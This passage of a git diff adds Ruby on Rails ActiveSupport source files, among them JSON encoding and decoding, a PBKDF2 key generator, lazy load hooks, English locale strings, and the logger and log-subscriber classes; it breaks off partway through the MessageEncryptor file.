+ def transliterate(string, replacement = "?")
+ I18n.transliterate(ActiveSupport::Multibyte::Unicode.normalize(
+ ActiveSupport::Multibyte::Unicode.tidy_bytes(string), :c),
+ :replacement => replacement)
+ end
+
+ # Replaces special characters in a string so that it may be used as part of
+ # a 'pretty' URL.
+ #
+ # class Person
+ # def to_param
+ # "#{id}-#{name.parameterize}"
+ # end
+ # end
+ #
+ # @person = Person.find(1)
+ # # => #<Person id: 1, name: "Donald E. Knuth">
+ #
+ # <%= link_to(@person.name, person_path(@person)) %>
+ # # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
+ def parameterize(string, sep = '-')
+ # replace accented chars with their ascii equivalents
+ parameterized_string = transliterate(string)
+ # Turn unwanted chars into the separator
+ parameterized_string.gsub!(/[^a-z0-9\-_]+/i, sep)
+ unless sep.nil? || sep.empty?
+ re_sep = Regexp.escape(sep)
+ # No more than one of the separator in a row.
+ parameterized_string.gsub!(/#{re_sep}{2,}/, sep)
+ # Remove leading/trailing separator.
+ parameterized_string.gsub!(/^#{re_sep}|#{re_sep}$/i, '')
+ end
+ parameterized_string.downcase
+ end
+
+ end
+end
diff --git a/activesupport/lib/active_support/json.rb b/activesupport/lib/active_support/json.rb
new file mode 100644
index 0000000..3e1d9b1
--- /dev/null
+++ b/activesupport/lib/active_support/json.rb
@@ -0,0 +1,2 @@
+require 'active_support/json/decoding'
+require 'active_support/json/encoding'
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
new file mode 100644
index 0000000..a4a32b2
--- /dev/null
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -0,0 +1,80 @@
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/module/delegation'
+require 'multi_json'
+
+module ActiveSupport
+ # Look for and parse json strings that look like ISO 8601 times.
+ mattr_accessor :parse_json_times
+
+ module JSON
+ class << self
+ # Parses a JSON string (JavaScript Object Notation) into a hash.
+ # See www.json.org for more info.
+ #
+ # ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
+ # => {"team" => "rails", "players" => "36"}
+ def decode(json, options ={})
+ data = MultiJson.load(json, options)
+ if ActiveSupport.parse_json_times
+ convert_dates_from(data)
+ else
+ data
+ end
+ end
+
+ def engine
+ MultiJson.adapter
+ end
+ alias :backend :engine
+
+ def engine=(name)
+ MultiJson.use(name)
+ end
+ alias :backend= :engine=
+
+ def with_backend(name)
+ old_backend, self.backend = backend, name
+ yield
+ ensure
+ self.backend = old_backend
+ end
+
+ # Returns the class of the error that will be raised when there is an
+ # error in decoding JSON. Using this method means you won't directly
+ # depend on the ActiveSupport's JSON implementation, in case it changes
+ # in the future.
+ #
+ # begin
+ # obj = ActiveSupport::JSON.decode(some_string)
+ # rescue ActiveSupport::JSON.parse_error
+ # Rails.logger.warn("Attempted to decode invalid JSON: #{some_string}")
+ # end
+ def parse_error
+ MultiJson::DecodeError
+ end
+
+ private
+
+ def convert_dates_from(data)
+ case data
+ when nil
+ nil
+ when DATE_REGEX
+ begin
+ DateTime.parse(data)
+ rescue ArgumentError
+ data
+ end
+ when Array
+ data.map! { |d| convert_dates_from(d) }
+ when Hash
+ data.each do |key, value|
+ data[key] = convert_dates_from(value)
+ end
+ else
+ data
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
new file mode 100644
index 0000000..9bf1ea3
--- /dev/null
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -0,0 +1,338 @@
+require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/module/delegation'
+require 'active_support/json/variable'
+
+require 'bigdecimal'
+require 'active_support/core_ext/big_decimal/conversions' # for #to_s
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/object/instance_variables'
+require 'time'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/date_time/conversions'
+require 'active_support/core_ext/date/conversions'
+require 'set'
+
+module ActiveSupport
+ class << self
+ delegate :use_standard_json_time_format, :use_standard_json_time_format=,
+ :escape_html_entities_in_json, :escape_html_entities_in_json=,
+ :encode_big_decimal_as_string, :encode_big_decimal_as_string=,
+ :to => :'ActiveSupport::JSON::Encoding'
+ end
+
+ module JSON
+ # matches YAML-formatted dates
+ DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
+
+ # Dumps objects in JSON (JavaScript Object Notation).
+ # See www.json.org for more info.
+ #
+ # ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
+ # # => "{\"team\":\"rails\",\"players\":\"36\"}"
+ def self.encode(value, options = nil)
+ Encoding::Encoder.new(options).encode(value)
+ end
+
+ module Encoding #:nodoc:
+ class CircularReferenceError < StandardError; end
+
+ class Encoder
+ attr_reader :options
+
+ def initialize(options = nil)
+ @options = options || {}
+ @seen = Set.new
+ end
+
+ def encode(value, use_options = true)
+ check_for_circular_references(value) do
+ jsonified = use_options ? value.as_json(options_for(value)) : value.as_json
+ jsonified.encode_json(self)
+ end
+ end
+
+ # like encode, but only calls as_json, without encoding to string.
+ def as_json(value, use_options = true)
+ check_for_circular_references(value) do
+ use_options ? value.as_json(options_for(value)) : value.as_json
+ end
+ end
+
+ def options_for(value)
+ if value.is_a?(Array) || value.is_a?(Hash)
+ # hashes and arrays need to get encoder in the options, so that
+ # they can detect circular references.
+ options.merge(:encoder => self)
+ else
+ options.dup
+ end
+ end
+
+ def escape(string)
+ Encoding.escape(string)
+ end
+
+ private
+ def check_for_circular_references(value)
+ unless @seen.add?(value.__id__)
+ raise CircularReferenceError, 'object references itself'
+ end
+ yield
+ ensure
+ @seen.delete(value.__id__)
+ end
+ end
+
+
+ ESCAPED_CHARS = {
+ "\x00" => '\u0000', "\x01" => '\u0001', "\x02" => '\u0002',
+ "\x03" => '\u0003', "\x04" => '\u0004', "\x05" => '\u0005',
+ "\x06" => '\u0006', "\x07" => '\u0007', "\x0B" => '\u000B',
+ "\x0E" => '\u000E', "\x0F" => '\u000F', "\x10" => '\u0010',
+ "\x11" => '\u0011', "\x12" => '\u0012', "\x13" => '\u0013',
+ "\x14" => '\u0014', "\x15" => '\u0015', "\x16" => '\u0016',
+ "\x17" => '\u0017', "\x18" => '\u0018', "\x19" => '\u0019',
+ "\x1A" => '\u001A', "\x1B" => '\u001B', "\x1C" => '\u001C',
+ "\x1D" => '\u001D', "\x1E" => '\u001E', "\x1F" => '\u001F',
+ "\010" => '\b',
+ "\f" => '\f',
+ "\n" => '\n',
+ "\r" => '\r',
+ "\t" => '\t',
+ '"' => '\"',
+ '\\' => '\\\\',
+ '>' => '\u003E',
+ '<' => '\u003C',
+ '&' => '\u0026' }
+
+ class << self
+ # If true, use ISO 8601 format for dates and times. Otherwise, fall back
+ # to the Active Support legacy format.
+ attr_accessor :use_standard_json_time_format
+
+ # If false, serializes BigDecimal objects as numeric instead of wrapping
+ # them in a string.
+ attr_accessor :encode_big_decimal_as_string
+
+ attr_accessor :escape_regex
+ attr_reader :escape_html_entities_in_json
+
+ def escape_html_entities_in_json=(value)
+ self.escape_regex = \
+ if @escape_html_entities_in_json = value
+ /[\x00-\x1F"\\><&]/
+ else
+ /[\x00-\x1F"\\]/
+ end
+ end
+
+ def escape(string)
+ string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
+ json = string.gsub(escape_regex) { |s| ESCAPED_CHARS[s] }
+ json = %("#{json}")
+ json.force_encoding(::Encoding::UTF_8)
+ json
+ end
+ end
+
+ self.use_standard_json_time_format = true
+ self.escape_html_entities_in_json = true
+ self.encode_big_decimal_as_string = true
+ end
+ end
+end
+
+class Object
+ def as_json(options = nil) #:nodoc:
+ if respond_to?(:to_hash)
+ to_hash
+ else
+ instance_values
+ end
+ end
+end
+
+class Struct #:nodoc:
+ def as_json(options = nil)
+ Hash[members.zip(values)]
+ end
+end
+
+class TrueClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+
+ def encode_json(encoder) #:nodoc:
+ to_s
+ end
+end
+
+class FalseClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+
+ def encode_json(encoder) #:nodoc:
+ to_s
+ end
+end
+
+class NilClass
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+
+ def encode_json(encoder) #:nodoc:
+ 'null'
+ end
+end
+
+class String
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+
+ def encode_json(encoder) #:nodoc:
+ encoder.escape(self)
+ end
+end
+
+class Symbol
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+class Numeric
+ def as_json(options = nil) #:nodoc:
+ self
+ end
+
+ def encode_json(encoder) #:nodoc:
+ to_s
+ end
+end
+
+class Float
+ # Encoding Infinity or NaN to JSON should return "null". The default returns
+ # "Infinity" or "NaN" which breaks parsing the JSON. E.g. JSON.parse('[NaN]').
+ def as_json(options = nil) #:nodoc:
+ finite? ? self : nil
+ end
+end
+
+class BigDecimal
+ # A BigDecimal would be naturally represented as a JSON number. Most libraries,
+ # however, parse non-integer JSON numbers directly as floats. Clients using
+ # those libraries would get in general a wrong number and no way to recover
+ # other than manually inspecting the string with the JSON code itself.
+ #
+ # That's why a JSON string is returned. The JSON literal is not numeric, but
+ # if the other end knows by contract that the data is supposed to be a
+ # BigDecimal, it still has the chance to post-process the string and get the
+ # real value.
+ #
+ # Use <tt>ActiveSupport.use_standard_json_big_decimal_format = true</tt> to
+ # override this behavior.
+ def as_json(options = nil) #:nodoc:
+ if finite?
+ ActiveSupport.encode_big_decimal_as_string ? to_s : self
+ else
+ nil
+ end
+ end
+end
+
+class Regexp
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+module Enumerable
+ def as_json(options = nil) #:nodoc:
+ to_a.as_json(options)
+ end
+end
+
+class Range
+ def as_json(options = nil) #:nodoc:
+ to_s
+ end
+end
+
+class Array
+ def as_json(options = nil) #:nodoc:
+ # use encoder as a proxy to call as_json on all elements, to protect from circular references
+ encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
+ map { |v| encoder.as_json(v, options) }
+ end
+
+ def encode_json(encoder) #:nodoc:
+ # we assume here that the encoder has already run as_json on self and the elements, so we run encode_json directly
+ "[#{map { |v| v.encode_json(encoder) } * ','}]"
+ end
+end
+
+class Hash
+ def as_json(options = nil) #:nodoc:
+ # create a subset of the hash by applying :only or :except
+ subset = if options
+ if attrs = options[:only]
+ slice(*Array(attrs))
+ elsif attrs = options[:except]
+ except(*Array(attrs))
+ else
+ self
+ end
+ else
+ self
+ end
+
+ # use encoder as a proxy to call as_json on all values in the subset, to protect from circular references
+ encoder = options && options[:encoder] || ActiveSupport::JSON::Encoding::Encoder.new(options)
+ Hash[subset.map { |k, v| [k.to_s, encoder.as_json(v, options)] }]
+ end
+
+ def encode_json(encoder) #:nodoc:
+ # values are encoded with use_options = false, because we don't want hash representations from ActiveModel to be
+ # processed once again with as_json with options, as this could cause unexpected results (i.e. missing fields);
+
+ # on the other hand, we need to run as_json on the elements, because the model representation may contain fields
+ # like Time/Date in their original (not jsonified) form, etc.
+
+ "{#{map { |k,v| "#{encoder.encode(k.to_s)}:#{encoder.encode(v, false)}" } * ','}}"
+ end
+end
+
+class Time
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport.use_standard_json_time_format
+ xmlschema
+ else
+ %(#{strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
+ end
+ end
+end
+
+class Date
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport.use_standard_json_time_format
+ strftime("%Y-%m-%d")
+ else
+ strftime("%Y/%m/%d")
+ end
+ end
+end
+
+class DateTime
+ def as_json(options = nil) #:nodoc:
+ if ActiveSupport.use_standard_json_time_format
+ xmlschema
+ else
+ strftime('%Y/%m/%d %H:%M:%S %z')
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/json/variable.rb b/activesupport/lib/active_support/json/variable.rb
new file mode 100644
index 0000000..d69dab6
--- /dev/null
+++ b/activesupport/lib/active_support/json/variable.rb
@@ -0,0 +1,18 @@
+require 'active_support/deprecation'
+
+module ActiveSupport
+ module JSON
+ # Deprecated: A string that returns itself as its JSON-encoded form.
+ class Variable < String
+ def initialize(*args)
+ message = 'ActiveSupport::JSON::Variable is deprecated and will be removed in Rails 4.1. ' \
+ 'For your own custom JSON literals, define #as_json and #encode_json yourself.'
+ ActiveSupport::Deprecation.warn message
+ super
+ end
+
+ def as_json(options = nil) self end #:nodoc:
+ def encode_json(encoder) self end #:nodoc:
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/key_generator.rb b/activesupport/lib/active_support/key_generator.rb
new file mode 100644
index 0000000..37124fb
--- /dev/null
+++ b/activesupport/lib/active_support/key_generator.rb
@@ -0,0 +1,75 @@
+require 'thread_safe'
+require 'openssl'
+
+module ActiveSupport
+ # KeyGenerator is a simple wrapper around OpenSSL's implementation of PBKDF2
+ # It can be used to derive a number of keys for various purposes from a given secret.
+ # This lets rails applications have a single secure secret, but avoid reusing that
+ # key in multiple incompatible contexts.
+ class KeyGenerator
+ def initialize(secret, options = {})
+ @secret = secret
+ # The default iterations are higher than required for our key derivation uses
+ # on the off chance someone uses this for password storage
+ @iterations = options[:iterations] || 2**16
+ end
+
+ # Returns a derived key suitable for use. The default key_size is chosen
+ # to be compatible with the default settings of ActiveSupport::MessageVerifier.
+ # i.e. OpenSSL::Digest::SHA1#block_length
+ def generate_key(salt, key_size=64)
+ OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
+ end
+ end
+
+ # CachingKeyGenerator is a wrapper around KeyGenerator which allows users to avoid
+ # re-executing the key generation process when it's called using the same salt and
+ # key_size
+ class CachingKeyGenerator
+ def initialize(key_generator)
+ @key_generator = key_generator
+ @cache_keys = ThreadSafe::Cache.new
+ end
+
+ # Returns a derived key suitable for use. The default key_size is chosen
+ # to be compatible with the default settings of ActiveSupport::MessageVerifier.
+ # i.e. OpenSSL::Digest::SHA1#block_length
+ def generate_key(salt, key_size=64)
+ @cache_keys["#{salt}#{key_size}"] ||= @key_generator.generate_key(salt, key_size)
+ end
+ end
+
+ class LegacyKeyGenerator # :nodoc:
+ SECRET_MIN_LENGTH = 30 # Characters
+
+ def initialize(secret)
+ ensure_secret_secure(secret)
+ @secret = secret
+ end
+
+ def generate_key(salt)
+ @secret
+ end
+
+ private
+
+ # To prevent users from using something insecure like "Password" we make sure that the
+ # secret they've provided is at least 30 characters in length.
+ def ensure_secret_secure(secret)
+ if secret.blank?
+ raise ArgumentError, "A secret is required to generate an " +
+ "integrity hash for cookie session data. Use " +
+ "config.secret_key_base = \"some secret phrase of at " +
+ "least #{SECRET_MIN_LENGTH} characters\"" +
+ "in config/initializers/secret_token.rb"
+ end
+
+ if secret.length < SECRET_MIN_LENGTH
+ raise ArgumentError, "Secret should be something secure, " +
+ "like \"#{SecureRandom.hex(16)}\". The value you " +
+ "provided, \"#{secret}\", is shorter than the minimum length " +
+ "of #{SECRET_MIN_LENGTH} characters"
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/lazy_load_hooks.rb b/activesupport/lib/active_support/lazy_load_hooks.rb
new file mode 100644
index 0000000..e489512
--- /dev/null
+++ b/activesupport/lib/active_support/lazy_load_hooks.rb
@@ -0,0 +1,48 @@
+module ActiveSupport
+ # lazy_load_hooks allows rails to lazily load a lot of components and thus
+ # making the app boot faster. Because of this feature now there is no need to
+ # require <tt>ActiveRecord::Base</tt> at boot time purely to apply
+ # configuration. Instead a hook is registered that applies configuration once
+ # <tt>ActiveRecord::Base</tt> is loaded. Here <tt>ActiveRecord::Base</tt> is
+ # used as example but this feature can be applied elsewhere too.
+ #
+ # Here is an example where +on_load+ method is called to register a hook.
+ #
+ # initializer 'active_record.initialize_timezone' do
+ # ActiveSupport.on_load(:active_record) do
+ # self.time_zone_aware_attributes = true
+ # self.default_timezone = :utc
+ # end
+ # end
+ #
+ # When the entirety of +activerecord/lib/active_record/base.rb+ has been
+ # evaluated then +run_load_hooks+ is invoked. The very last line of
+ # +activerecord/lib/active_record/base.rb+ is:
+ #
+ # ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+ @load_hooks = Hash.new { |h,k| h[k] = [] }
+ @loaded = Hash.new { |h,k| h[k] = [] }
+
+ def self.on_load(name, options = {}, &block)
+ @loaded[name].each do |base|
+ execute_hook(base, options, block)
+ end
+
+ @load_hooks[name] << [block, options]
+ end
+
+ def self.execute_hook(base, options, block)
+ if options[:yield]
+ block.call(base)
+ else
+ base.instance_eval(&block)
+ end
+ end
+
+ def self.run_load_hooks(name, base = Object)
+ @loaded[name] << base
+ @load_hooks[name].each do |hook, options|
+ execute_hook(base, options, hook)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/locale/en.yml b/activesupport/lib/active_support/locale/en.yml
new file mode 100644
index 0000000..a4563ac
--- /dev/null
+++ b/activesupport/lib/active_support/locale/en.yml
@@ -0,0 +1,133 @@
+en:
+ date:
+ formats:
+ # Use the strftime parameters for formats.
+ # When no format has been given, it uses default.
+ # You can provide other formats here if you like!
+ default: "%Y-%m-%d"
+ short: "%b %d"
+ long: "%B %d, %Y"
+
+ day_names: [Sunday, Monday, Tuesday, Wednesday, Thursday, Friday, Saturday]
+ abbr_day_names: [Sun, Mon, Tue, Wed, Thu, Fri, Sat]
+
+ # Don't forget the nil at the beginning; there's no such thing as a 0th month
+ month_names: [~, January, February, March, April, May, June, July, August, September, October, November, December]
+ abbr_month_names: [~, Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec]
+ # Used in date_select and datetime_select.
+ order:
+ - year
+ - month
+ - day
+
+ time:
+ formats:
+ default: "%a, %d %b %Y %H:%M:%S %z"
+ short: "%d %b %H:%M"
+ long: "%B %d, %Y %H:%M"
+ am: "am"
+ pm: "pm"
+
+# Used in array.to_sentence.
+ support:
+ array:
+ words_connector: ", "
+ two_words_connector: " and "
+ last_word_connector: ", and "
+ number:
+ # Used in NumberHelper.number_to_delimited()
+ # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
+ format:
+ # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
+ separator: "."
+ # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
+ delimiter: ","
+ # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
+ precision: 3
+ # If set to true, precision will mean the number of significant digits instead
+ # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
+ significant: false
+ # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
+ strip_insignificant_zeros: false
+
+ # Used in NumberHelper.number_to_currency()
+ currency:
+ format:
+ # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00)
+ format: "%u%n"
+ unit: "$"
+ # These five are to override number.format and are optional
+ separator: "."
+ delimiter: ","
+ precision: 2
+ significant: false
+ strip_insignificant_zeros: false
+
+ # Used in NumberHelper.number_to_percentage()
+ percentage:
+ format:
+ # These five are to override number.format and are optional
+ # separator:
+ delimiter: ""
+ # precision:
+ # significant: false
+ # strip_insignificant_zeros: false
+ format: "%n%"
+
+ # Used in NumberHelper.number_to_rounded()
+ precision:
+ format:
+ # These five are to override number.format and are optional
+ # separator:
+ delimiter: ""
+ # precision:
+ # significant: false
+ # strip_insignificant_zeros: false
+
+ # Used in NumberHelper.number_to_human_size() and NumberHelper.number_to_human()
+ human:
+ format:
+ # These five are to override number.format and are optional
+ # separator:
+ delimiter: ""
+ precision: 3
+ significant: true
+ strip_insignificant_zeros: true
+ # Used in number_to_human_size()
+ storage_units:
+ # Storage units output formatting.
+ # %u is the storage unit, %n is the number (default: 2 MB)
+ format: "%n %u"
+ units:
+ byte:
+ one: "Byte"
+ other: "Bytes"
+ kb: "KB"
+ mb: "MB"
+ gb: "GB"
+ tb: "TB"
+ # Used in NumberHelper.number_to_human()
+ decimal_units:
+ format: "%n %u"
+ # Decimal units output formatting
+ # By default we will only quantify some of the exponents
+ # but the commented ones might be defined or overridden
+ # by the user.
+ units:
+ # femto: Quadrillionth
+ # pico: Trillionth
+ # nano: Billionth
+ # micro: Millionth
+ # mili: Thousandth
+ # centi: Hundredth
+ # deci: Tenth
+ unit: ""
+ # ten:
+ # one: Ten
+ # other: Tens
+ # hundred: Hundred
+ thousand: Thousand
+ million: Million
+ billion: Billion
+ trillion: Trillion
+ quadrillion: Quadrillion
diff --git a/activesupport/lib/active_support/log_subscriber.rb b/activesupport/lib/active_support/log_subscriber.rb
new file mode 100644
index 0000000..e95dc5a
--- /dev/null
+++ b/activesupport/lib/active_support/log_subscriber.rb
@@ -0,0 +1,109 @@
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/class/attribute'
+require 'active_support/subscriber'
+
+module ActiveSupport
+ # ActiveSupport::LogSubscriber is an object set to consume
+ # ActiveSupport::Notifications with the sole purpose of logging them.
+ # The log subscriber dispatches notifications to a registered object based
+ # on its given namespace.
+ #
+ # An example would be Active Record log subscriber responsible for logging
+ # queries:
+ #
+ # module ActiveRecord
+ # class LogSubscriber < ActiveSupport::LogSubscriber
+ # def sql(event)
+ # "#{event.payload[:name]} (#{event.duration}) #{event.payload[:sql]}"
+ # end
+ # end
+ # end
+ #
+ # And it's finally registered as:
+ #
+ # ActiveRecord::LogSubscriber.attach_to :active_record
+ #
+ # Since we need to know all instance methods before attaching the log
+ # subscriber, the line above should be called after your
+ # <tt>ActiveRecord::LogSubscriber</tt> definition.
+ #
+ # After configured, whenever a "sql.active_record" notification is published,
+ # it will properly dispatch the event (ActiveSupport::Notifications::Event) to
+ # the sql method.
+ #
+ # Log subscriber also has some helpers to deal with logging and automatically
+ # flushes all logs when the request finishes (via action_dispatch.callback
+ # notification) in a Rails environment.
+ class LogSubscriber < Subscriber
+ # Embed in a String to clear all previous ANSI sequences.
+ CLEAR = "\e[0m"
+ BOLD = "\e[1m"
+
+ # Colors
+ BLACK = "\e[30m"
+ RED = "\e[31m"
+ GREEN = "\e[32m"
+ YELLOW = "\e[33m"
+ BLUE = "\e[34m"
+ MAGENTA = "\e[35m"
+ CYAN = "\e[36m"
+ WHITE = "\e[37m"
+
+ mattr_accessor :colorize_logging
+ self.colorize_logging = true
+
+ class << self
+ def logger
+ @logger ||= if defined?(Rails) && Rails.respond_to?(:logger)
+ Rails.logger
+ end
+ end
+
+ attr_writer :logger
+
+ def log_subscribers
+ subscribers
+ end
+
+ # Flush all log_subscribers' logger.
+ def flush_all!
+ logger.flush if logger.respond_to?(:flush)
+ end
+ end
+
+ def logger
+ LogSubscriber.logger
+ end
+
+ def start(name, id, payload)
+ super if logger
+ end
+
+ def finish(name, id, payload)
+ super if logger
+ rescue Exception => e
+ logger.error "Could not log #{name.inspect} event. #{e.class}: #{e.message} #{e.backtrace}"
+ end
+
+ protected
+
+ %w(info debug warn error fatal unknown).each do |level|
+ class_eval <<-METHOD, __FILE__, __LINE__ + 1
+ def #{level}(progname = nil, &block)
+ logger.#{level}(progname, &block) if logger
+ end
+ METHOD
+ end
+
+ # Set color by using a string or one of the defined constants. If a third
+ # option is set to +true+, it also adds bold to the string. This is based
+ # on the Highline implementation and will automatically append CLEAR to the
+ # end of the returned String.
+ def color(text, color, bold=false)
+ return text unless colorize_logging
+ color = self.class.const_get(color.upcase) if color.is_a?(Symbol)
+ bold = bold ? BOLD : ""
+ "#{bold}#{color}#{text}#{CLEAR}"
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/log_subscriber/test_helper.rb b/activesupport/lib/active_support/log_subscriber/test_helper.rb
new file mode 100644
index 0000000..f9a9868
--- /dev/null
+++ b/activesupport/lib/active_support/log_subscriber/test_helper.rb
@@ -0,0 +1,104 @@
+require 'active_support/log_subscriber'
+require 'active_support/buffered_logger'
+require 'active_support/notifications'
+
+module ActiveSupport
+ class LogSubscriber
+ # Provides some helpers to deal with testing log subscribers by setting up
+ # notifications. Take for instance Active Record subscriber tests:
+ #
+ # class SyncLogSubscriberTest < ActiveSupport::TestCase
+ # include ActiveSupport::LogSubscriber::TestHelper
+ #
+ # def setup
+ # ActiveRecord::LogSubscriber.attach_to(:active_record)
+ # end
+ #
+ # def test_basic_query_logging
+ # Developer.all.to_a
+ # wait
+ # assert_equal 1, @logger.logged(:debug).size
+ # assert_match(/Developer Load/, @logger.logged(:debug).last)
+ # assert_match(/SELECT \* FROM "developers"/, @logger.logged(:debug).last)
+ # end
+ # end
+ #
+ # All you need to do is to ensure that your log subscriber is added to
+ # Rails::Subscriber, as in the second line of the code above. The test
+ # helpers are responsible for setting up the queue, subscriptions and
+ # turning colors in logs off.
+ #
+ # The messages are available in the @logger instance, which is a logger with
+ # limited powers (it actually does not send anything to your output), and
+ # you can collect them doing @logger.logged(level), where level is the level
+ # used in logging, like info, debug, warn and so on.
+ module TestHelper
+ def setup
+ @logger = MockLogger.new
+ @notifier = ActiveSupport::Notifications::Fanout.new
+
+ ActiveSupport::LogSubscriber.colorize_logging = false
+
+ @old_notifier = ActiveSupport::Notifications.notifier
+ set_logger(@logger)
+ ActiveSupport::Notifications.notifier = @notifier
+ end
+
+ def teardown
+ set_logger(nil)
+ ActiveSupport::Notifications.notifier = @old_notifier
+ end
+
+ class MockLogger
+ include ActiveSupport::Logger::Severity
+
+ attr_reader :flush_count
+ attr_accessor :level
+
+ def initialize(level = DEBUG)
+ @flush_count = 0
+ @level = level
+ @logged = Hash.new { |h,k| h[k] = [] }
+ end
+
+ def method_missing(level, message = nil)
+ if block_given?
+ @logged[level] << yield
+ else
+ @logged[level] << message
+ end
+ end
+
+ def logged(level)
+ @logged[level].compact.map { |l| l.to_s.strip }
+ end
+
+ def flush
+ @flush_count += 1
+ end
+
+ ActiveSupport::Logger::Severity.constants.each do |severity|
+ class_eval <<-EOT, __FILE__, __LINE__ + 1
+ def #{severity.downcase}?
+ #{severity} >= @level
+ end
+ EOT
+ end
+ end
+
+ # Wait notifications to be published.
+ def wait
+ @notifier.wait
+ end
+
+ # Overwrite if you use another logger in your log subscriber.
+ #
+ # def logger
+ # ActiveRecord::Base.logger = @logger
+ # end
+ def set_logger(logger)
+ ActiveSupport::LogSubscriber.logger = logger
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/logger.rb b/activesupport/lib/active_support/logger.rb
new file mode 100644
index 0000000..4a55bbb
--- /dev/null
+++ b/activesupport/lib/active_support/logger.rb
@@ -0,0 +1,57 @@
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/logger_silence'
+require 'logger'
+
+module ActiveSupport
+ class Logger < ::Logger
+ include LoggerSilence
+
+ # Broadcasts logs to multiple loggers.
+ def self.broadcast(logger) # :nodoc:
+ Module.new do
+ define_method(:add) do |*args, &block|
+ logger.add(*args, &block)
+ super(*args, &block)
+ end
+
+ define_method(:<<) do |x|
+ logger << x
+ super(x)
+ end
+
+ define_method(:close) do
+ logger.close
+ super()
+ end
+
+ define_method(:progname=) do |name|
+ logger.progname = name
+ super(name)
+ end
+
+ define_method(:formatter=) do |formatter|
+ logger.formatter = formatter
+ super(formatter)
+ end
+
+ define_method(:level=) do |level|
+ logger.level = level
+ super(level)
+ end
+ end
+ end
+
+ def initialize(*args)
+ super
+ @formatter = SimpleFormatter.new
+ end
+
+ # Simple formatter which only displays the message.
+ class SimpleFormatter < ::Logger::Formatter
+ # This method is invoked when a log event occurs
+ def call(severity, timestamp, progname, msg)
+ "#{String === msg ? msg : msg.inspect}\n"
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/logger_silence.rb b/activesupport/lib/active_support/logger_silence.rb
new file mode 100644
index 0000000..a8efdef
--- /dev/null
+++ b/activesupport/lib/active_support/logger_silence.rb
@@ -0,0 +1,24 @@
+require 'active_support/concern'
+
+module LoggerSilence
+ extend ActiveSupport::Concern
+
+ included do
+ cattr_accessor :silencer
+ self.silencer = true
+ end
+
+ # Silences the logger for the duration of the block.
+ def silence(temporary_level = Logger::ERROR)
+ if silencer
+ begin
+ old_logger_level, self.level = level, temporary_level
+ yield self
+ ensure
+ self.level = old_logger_level
+ end
+ else
+ yield self
+ end
+ end
+end
\ No newline at end of file
diff --git a/activesupport/lib/active_support/message_encryptor.rb b/activesupport/lib/active_support/message_encryptor.rb
new file mode 100644
index 0000000..bffdfc6
--- /dev/null
+++ b/activesupport/lib/active_support/message_encryptor.rb
@@ -0,0 +1,106 @@
+require 'openssl'
+require 'base64'
+require 'active_support/core_ext/array/extract_options'
+
+module ActiveSupport
+ # MessageEncryptor is a simple way to encrypt values which get stored
+ # somewhere you don't trust.
+ #
+ # The cipher text and initialization vector are base64 encoded and returned
+ # to you.
+ #
+ # This can be used in situations similar to the <tt>MessageVerifier</tt>, but
+ # where you don't want users to be able to determine the value of the payload.
+ #
+ # salt = SecureRandom.random_bytes(64)
+ # key = ActiveSupport::KeyGenerator.new('password').generate_key(salt) # => "\x89\xE0\x156\xAC..."
+ # crypt = ActiveSupport::MessageEncryptor.new(key) # => #<ActiveSupport::MessageEncryptor ...>
+ # encrypted_data = crypt.encrypt_and_sign('my secret data') # => "NlFBTTMwOUV5UlA1QlNEN2xkY2d6eThYWWh..."
+ # crypt.decrypt_and_verify(encrypted_data) # => "my secret data"
+ class MessageEncryptor
+ module NullSerializer #:nodoc:
+ def self.load(value)
+ value
+ end
+
+ def self.dump(value)
+ value
+ end
+ end
+
+ class InvalidMessage < StandardError; end
+ OpenSSLCipherError = OpenSSL::Cipher::CipherError
+
